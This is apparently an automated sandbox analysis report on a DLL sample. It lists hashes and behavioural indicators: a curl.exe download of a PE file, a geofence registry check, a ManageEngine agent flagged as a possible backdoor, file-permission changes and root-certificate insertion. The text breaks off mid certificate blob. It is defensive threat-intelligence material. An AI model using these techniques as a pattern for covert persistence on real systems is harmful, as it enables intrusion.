Analysis
- max time kernel
121s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
24/09/2026, 11:34
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
0a1fca14d5a9ac054df377a55c9a17c8a7e1337ad84410f3cc4c1135e75291ee.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
27 signatures
150 seconds
General
- Target 0a1fca14d5a9ac054df377a55c9a17c8a7e1337ad84410f3cc4c1135e75291ee.dll
- Size 7.9MB
- Sample260924-npg6bscf49
- SHA256 0a1fca14d5a9ac054df377a55c9a17c8a7e1337ad84410f3cc4c1135e75291ee
- MD5 89d35c158ab755067267a298733e8cd9
- SHA1 a3c3645420cacac6375d6a34e80bc98981ec37c7
- SHA512 a0b9af33da9cf3ebaaa29e74a2433ecf4b8ef024046d0caaf37f1eb98348f3afa25e7a34f82683bb0d5144bd67f4aaa34b3965840ba2d1ee7ee88b4a68afe2c7
- SSDEEP 196608:SLKUlnsEJeZIamryhtnO9/jPbMGgJvu4O7NADtV6v+:mxlNK/O9rPQGT7
- TLSH T18786E11A3D5C106BD03A3330CE98A2F8F7AEAD607A67045739F4B91EA679F013E0555B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Downloads MZ/PE file 1 IoCs
flow pid Process 62 5648 curl.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation KeNoAIv923.6.5767.71931.EXE Key value queried \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation WScript.exe - DCAgent remote management tool 3 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral1/files/0x000700000002469e-56.dat hacktool_dcagent behavioral1/files/0x00070000000246ce-280.dat hacktool_dcagent behavioral1/files/0x0007000000024740-517.dat hacktool_dcagent - Executes dropped EXE 24 IoCs
pid Process 5944 CUOyzuYkKwHlmhUrWXTKCbGQgJlJppcJ.ktO.exe 5124 BBCuMBAqWOtLmdsRjBcLJcHgkUeeYRNC.muQ.exe 3760 KeNoAIv923.6.5767.71931.EXE 4712 dcagentregister.exe 5208 7za.exe 5876 dcagentservice.exe 1876 7za.exe 2560 7za.exe 4408 dcstatusutil.exe 4948 dcagentservice.exe 1000 dcinventory.exe 5440 CRU_Reporter.exe 1520 dcusbsummary.exe 1728 dcconfig.exe 1764 dcusb64.exe 5540 dcstatusutil.exe 5320 dcondemand.exe 5400 dcswmeter.exe 6096 dcinventory.exe 5408 dcagentregister.exe 2868 dcconfig.exe 2208 dcconfig.exe 3996 dcpatchscan.exe 3832 dcmetroapps.exe - Loads dropped DLL 64 IoCs
pid Process 2968 MsiExec.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 5876 dcagentservice.exe 4712 dcagentregister.exe 4712 dcagentregister.exe 4408 dcstatusutil.exe 4408 dcstatusutil.exe 4408 dcstatusutil.exe 4408 dcstatusutil.exe 4408 dcstatusutil.exe 4408 dcstatusutil.exe 4408 dcstatusutil.exe 4408 dcstatusutil.exe 4408 dcstatusutil.exe 4948 dcagentservice.exe 1000 dcinventory.exe 1520 dcusbsummary.exe 1728 dcconfig.exe 1000 dcinventory.exe 1000 dcinventory.exe 5540 dcstatusutil.exe 5320 dcondemand.exe 5400 dcswmeter.exe 6096 dcinventory.exe 5540 dcstatusutil.exe 1000 dcinventory.exe 5320 dcondemand.exe 5540 dcstatusutil.exe 5320 dcondemand.exe 5540 dcstatusutil.exe 5540 dcstatusutil.exe 5540 dcstatusutil.exe 5320 dcondemand.exe 6096 dcinventory.exe 6096 dcinventory.exe 1728 dcconfig.exe 6096 dcinventory.exe 5408 dcagentregister.exe 5408 dcagentregister.exe 5408 dcagentregister.exe - Modifies file permissions 1 TTPs 5 IoCs
pid Process 3256 icacls.exe 2608 icacls.exe 1320 icacls.exe 4132 icacls.exe 3148 icacls.exe - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 70 1732 msiexec.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File created C:\Windows\SysWOW64\dcagentlibxml2.dll msiexec.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 4220 WScript.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-pm.xml msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSLogCollector.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\usbconfig_computer.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UEMSMdmEnroll.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_ja_JP.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdmsclientaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\otp-lock.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\ChatFrame.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\AgentApplicationResources.properties msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcswmetercollector.log dcswmeter.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpowerreports.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UEMSMdmEnroll.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\customer-meta-data.json dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_uninstall.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\swConfig.json msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcparsehandler.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcupload.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcconfigaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Computer.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_download_all.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\history.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_555555_256x240.png 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cfgUpdate.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcmisconfigaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ues_agentaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\driverfiles.7z 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_hr_HR.properties 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\WebrtcDLL.dll msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_requested.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentUninstaller.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\WakeOnLan.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\rapmsghandler.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\global_data_store.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\mdmregistrationhandler_64.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\usbeDevicelist.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_hr_HR.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_agentservice.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_computer.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\sas.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSGpo.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\usbconfig_computer.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\topmiddle.bmp 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uems_crypto_x64.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_user.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcondemandhangaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcconfigexec.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_fi_FI.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\hostondemandaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\Internet_Connection.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\style_hot.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_nl_NL.properties 7za.exe - Drops file in Windows directory 15 IoCs
description ioc Process File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File created C:\Windows\Installer\e59babb.msi msiexec.exe File opened for modification C:\Windows\Installer\e59babb.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\e59babc.mst msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File created C:\Windows\Installer\e59bac4.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIBF10.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\e59babc.mst msiexec.exe File opened for modification C:\Windows\Installer\MSIC77D.tmp msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File opened for modification C:\Windows\Installer\MSI29F2.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3976 cmd.exe 3796 cmd.exe 4760 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 8 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\2F28A9A49C5C164DBD8E4FD2719F2F91AD74138E\Blob = 0f0000000100000020000000c00158de5af0b5023638d1b8c0205eeca9caf43b14c9c7ff55046eca3c548eeb0300000001000000140000002f28a9a49c5c164dbd8e4fd2719f2f91ad74138e2000000001000000f0030000308203ec308202d4a00302010202085e6292271cc93a15300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932303137343330315a180f32303531303932303137343330315a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b676f348f0b7447a422a032acebfd938627f26c731d9d5081ebb79ac64099f449239fb21f0609251b49d7c8a271636b05d22899772be7e2274d5edc68730e768cdaeea1a125c8ebf3bdb276f3a57ba442bd84f4b7415df5b06353c202f30e6f28a13cda0d38042dbc984586af1a5f6df3182356bc26fbe0b6103ce6c34cc31c454eaca77aedb2335e997b87b5878e366292f42199e59b67ba949ea03d5e7c7e7e9fa60f5b96aee35ef90db7e04ccb9d202d33935fb212a3622bc066796a4c853e3b07001ef3c704512df3b2712491303dc9d06a29b79ceb9fe23a8137a623ca4e366f304440544c56892c31674007e1eb606efc9d4b8f4eea7a280521994fc690203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414ff18902e77f51071cdf297cef1cae7d01fd47285301f0603551d23041830168014ff18902e77f51071cdf297cef1cae7d01fd47285300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101000ab8ba29f902d319c1f45a8cbb9279a85a68cf956f92386a22f2a46903bf81ed2bca80008c431cb958b15e7dfd6390e476e891f177b3928da2e6ec9d0d025635e195ddd063da9c06d1b75112096e8fae9db9225970525f439e22dd21c65a5f1353f78e365ac06c4a64f66eccfdf828223f18a605917cdf8f3af8d5984b97d016d2420b2cdf0d3b6c8a3988afe0ad69945d13b2517b2f7f7c856891555fd2a2c6291129624bebf026622cb50e75f919bf71c0349dd95dd2997e153545f43522fb19f1ffcd649d5a9dc75b857daf6b6914e66409c9ccac8ad691cb819424b74cad9a40729d4a303c821622356cc5e31bc5d7283c64b3b32cb23c0b3d232c4a596c dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8205496D518029E332E5C309C06F06C4F1D0ABA9\Blob = 140000000100000014000000608a1bfa8f762321e9324663fac6ce0aa04229e10300000001000000140000008205496d518029e332e5c309c06f06c4f1d0aba90f0000000100000020000000508f67cf1926879a77695f14d1567438f61c0dfbc70812f7bc56390deaea21f72000000001000000d8030000308203d4308202bca00302010202082b2c89a3eee3cb24300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932303137343330305a180f32303531303932303137343330305a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c57314a6e87e26e8719d3b35c53032c7e1cbf8a2b1bcfc131501f3454488ac6c1f9669e925dd48e8b0e09608070b9409052b2078f6f9e83651c27940660f6f0711c79c6de99801414015f632b2696b61c5f49d8f5d878d5dcfad6229457a75575cf208e517eb414e9a7f8b6ac7041d55a84f7be93918cf5b1065f63fac8ef4e4381be87c191cdb0bd0463f53abb180b98d1a8b79ff234506010ac7e630aab55a39c3dff180db743277f2f367c6d98adfa7f83abfaf5c685c3ea2826493e1990b2f6510009626607aace189f2b4a2f07c3c1cb7ef98ebe68a1a36507a38a073315092e27ed76a645d373747317062315e0bd0d267e51cc3d6d821f1f4b9268f770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414608a1bfa8f762321e9324663fac6ce0aa04229e1301f0603551d23041830168014608a1bfa8f762321e9324663fac6ce0aa04229e1300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a5bdb14e1ce56222e89f50ac0d631e5c511c1c515ecf0e5d74620bdc17909123ab65cddf999b73ded3c1634ed8d8d47b3f10c98cf0e2ba45bdac6b526d6000af7868157d31f33c526fdda8cef2d0dc3869987879a0c648aed19e17b1980aa6ebd3c23e779858ed06f0b2da2f4609b06c5743e6c2209f8182aa72ddba8f5bd5b9e707fd69279a489b432d45b83c4da63b0458fe989132cb18e90fe6c729d3bdf5fc18d471d0ac42abcae111537e28e84d3b4b65192985c37958838ebe4dfd7eb904e6c4ccba19599b072a509b96eff2fec3c98c2d133d3226f807bc9c6268a13adef401345a176b37c89ea55b0755ea60800fe2d70f373fc2daa5e8336219a1a6 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\2F28A9A49C5C164DBD8E4FD2719F2F91AD74138E\Blob = 140000000100000014000000ff18902e77f51071cdf297cef1cae7d01fd472850300000001000000140000002f28a9a49c5c164dbd8e4fd2719f2f91ad74138e0f0000000100000020000000c00158de5af0b5023638d1b8c0205eeca9caf43b14c9c7ff55046eca3c548eeb2000000001000000f0030000308203ec308202d4a00302010202085e6292271cc93a15300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932303137343330315a180f32303531303932303137343330315a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b676f348f0b7447a422a032acebfd938627f26c731d9d5081ebb79ac64099f449239fb21f0609251b49d7c8a271636b05d22899772be7e2274d5edc68730e768cdaeea1a125c8ebf3bdb276f3a57ba442bd84f4b7415df5b06353c202f30e6f28a13cda0d38042dbc984586af1a5f6df3182356bc26fbe0b6103ce6c34cc31c454eaca77aedb2335e997b87b5878e366292f42199e59b67ba949ea03d5e7c7e7e9fa60f5b96aee35ef90db7e04ccb9d202d33935fb212a3622bc066796a4c853e3b07001ef3c704512df3b2712491303dc9d06a29b79ceb9fe23a8137a623ca4e366f304440544c56892c31674007e1eb606efc9d4b8f4eea7a280521994fc690203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414ff18902e77f51071cdf297cef1cae7d01fd47285301f0603551d23041830168014ff18902e77f51071cdf297cef1cae7d01fd47285300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101000ab8ba29f902d319c1f45a8cbb9279a85a68cf956f92386a22f2a46903bf81ed2bca80008c431cb958b15e7dfd6390e476e891f177b3928da2e6ec9d0d025635e195ddd063da9c06d1b75112096e8fae9db9225970525f439e22dd21c65a5f1353f78e365ac06c4a64f66eccfdf828223f18a605917cdf8f3af8d5984b97d016d2420b2cdf0d3b6c8a3988afe0ad69945d13b2517b2f7f7c856891555fd2a2c6291129624bebf026622cb50e75f919bf71c0349dd95dd2997e153545f43522fb19f1ffcd649d5a9dc75b857daf6b6914e66409c9ccac8ad691cb819424b74cad9a40729d4a303c821622356cc5e31bc5d7283c64b3b32cb23c0b3d232c4a596c dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8205496D518029E332E5C309C06F06C4F1D0ABA9\Blob = 190000000100000010000000be3629725cd7bc95d277d5398887454e0f0000000100000020000000508f67cf1926879a77695f14d1567438f61c0dfbc70812f7bc56390deaea21f70300000001000000140000008205496d518029e332e5c309c06f06c4f1d0aba9140000000100000014000000608a1bfa8f762321e9324663fac6ce0aa04229e12000000001000000d8030000308203d4308202bca00302010202082b2c89a3eee3cb24300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932303137343330305a180f32303531303932303137343330305a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c57314a6e87e26e8719d3b35c53032c7e1cbf8a2b1bcfc131501f3454488ac6c1f9669e925dd48e8b0e09608070b9409052b2078f6f9e83651c27940660f6f0711c79c6de99801414015f632b2696b61c5f49d8f5d878d5dcfad6229457a75575cf208e517eb414e9a7f8b6ac7041d55a84f7be93918cf5b1065f63fac8ef4e4381be87c191cdb0bd0463f53abb180b98d1a8b79ff234506010ac7e630aab55a39c3dff180db743277f2f367c6d98adfa7f83abfaf5c685c3ea2826493e1990b2f6510009626607aace189f2b4a2f07c3c1cb7ef98ebe68a1a36507a38a073315092e27ed76a645d373747317062315e0bd0d267e51cc3d6d821f1f4b9268f770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414608a1bfa8f762321e9324663fac6ce0aa04229e1301f0603551d23041830168014608a1bfa8f762321e9324663fac6ce0aa04229e1300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a5bdb14e1ce56222e89f50ac0d631e5c511c1c515ecf0e5d74620bdc17909123ab65cddf999b73ded3c1634ed8d8d47b3f10c98cf0e2ba45bdac6b526d6000af7868157d31f33c526fdda8cef2d0dc3869987879a0c648aed19e17b1980aa6ebd3c23e779858ed06f0b2da2f4609b06c5743e6c2209f8182aa72ddba8f5bd5b9e707fd69279a489b432d45b83c4da63b0458fe989132cb18e90fe6c729d3bdf5fc18d471d0ac42abcae111537e28e84d3b4b65192985c37958838ebe4dfd7eb904e6c4ccba19599b072a509b96eff2fec3c98c2d133d3226f807bc9c6268a13adef401345a176b37c89ea55b0755ea60800fe2d70f373fc2daa5e8336219a1a6 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\2F28A9A49C5C164DBD8E4FD2719F2F91AD74138E\Blob = 190000000100000010000000d08acc4b9752e1e5d11b9fa72f1451f10f0000000100000020000000c00158de5af0b5023638d1b8c0205eeca9caf43b14c9c7ff55046eca3c548eeb0300000001000000140000002f28a9a49c5c164dbd8e4fd2719f2f91ad74138e140000000100000014000000ff18902e77f51071cdf297cef1cae7d01fd472852000000001000000f0030000308203ec308202d4a00302010202085e6292271cc93a15300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932303137343330315a180f32303531303932303137343330315a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b676f348f0b7447a422a032acebfd938627f26c731d9d5081ebb79ac64099f449239fb21f0609251b49d7c8a271636b05d22899772be7e2274d5edc68730e768cdaeea1a125c8ebf3bdb276f3a57ba442bd84f4b7415df5b06353c202f30e6f28a13cda0d38042dbc984586af1a5f6df3182356bc26fbe0b6103ce6c34cc31c454eaca77aedb2335e997b87b5878e366292f42199e59b67ba949ea03d5e7c7e7e9fa60f5b96aee35ef90db7e04ccb9d202d33935fb212a3622bc066796a4c853e3b07001ef3c704512df3b2712491303dc9d06a29b79ceb9fe23a8137a623ca4e366f304440544c56892c31674007e1eb606efc9d4b8f4eea7a280521994fc690203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414ff18902e77f51071cdf297cef1cae7d01fd47285301f0603551d23041830168014ff18902e77f51071cdf297cef1cae7d01fd47285300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101000ab8ba29f902d319c1f45a8cbb9279a85a68cf956f92386a22f2a46903bf81ed2bca80008c431cb958b15e7dfd6390e476e891f177b3928da2e6ec9d0d025635e195ddd063da9c06d1b75112096e8fae9db9225970525f439e22dd21c65a5f1353f78e365ac06c4a64f66eccfdf828223f18a605917cdf8f3af8d5984b97d016d2420b2cdf0d3b6c8a3988afe0ad69945d13b2517b2f7f7c856891555fd2a2c6291129624bebf026622cb50e75f919bf71c0349dd95dd2997e153545f43522fb19f1ffcd649d5a9dc75b857daf6b6914e66409c9ccac8ad691cb819424b74cad9a40729d4a303c821622356cc5e31bc5d7283c64b3b32cb23c0b3d232c4a596c dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8205496D518029E332E5C309C06F06C4F1D0ABA9\Blob = 0300000001000000140000008205496d518029e332e5c309c06f06c4f1d0aba92000000001000000d8030000308203d4308202bca00302010202082b2c89a3eee3cb24300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932303137343330305a180f32303531303932303137343330305a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c57314a6e87e26e8719d3b35c53032c7e1cbf8a2b1bcfc131501f3454488ac6c1f9669e925dd48e8b0e09608070b9409052b2078f6f9e83651c27940660f6f0711c79c6de99801414015f632b2696b61c5f49d8f5d878d5dcfad6229457a75575cf208e517eb414e9a7f8b6ac7041d55a84f7be93918cf5b1065f63fac8ef4e4381be87c191cdb0bd0463f53abb180b98d1a8b79ff234506010ac7e630aab55a39c3dff180db743277f2f367c6d98adfa7f83abfaf5c685c3ea2826493e1990b2f6510009626607aace189f2b4a2f07c3c1cb7ef98ebe68a1a36507a38a073315092e27ed76a645d373747317062315e0bd0d267e51cc3d6d821f1f4b9268f770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414608a1bfa8f762321e9324663fac6ce0aa04229e1301f0603551d23041830168014608a1bfa8f762321e9324663fac6ce0aa04229e1300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a5bdb14e1ce56222e89f50ac0d631e5c511c1c515ecf0e5d74620bdc17909123ab65cddf999b73ded3c1634ed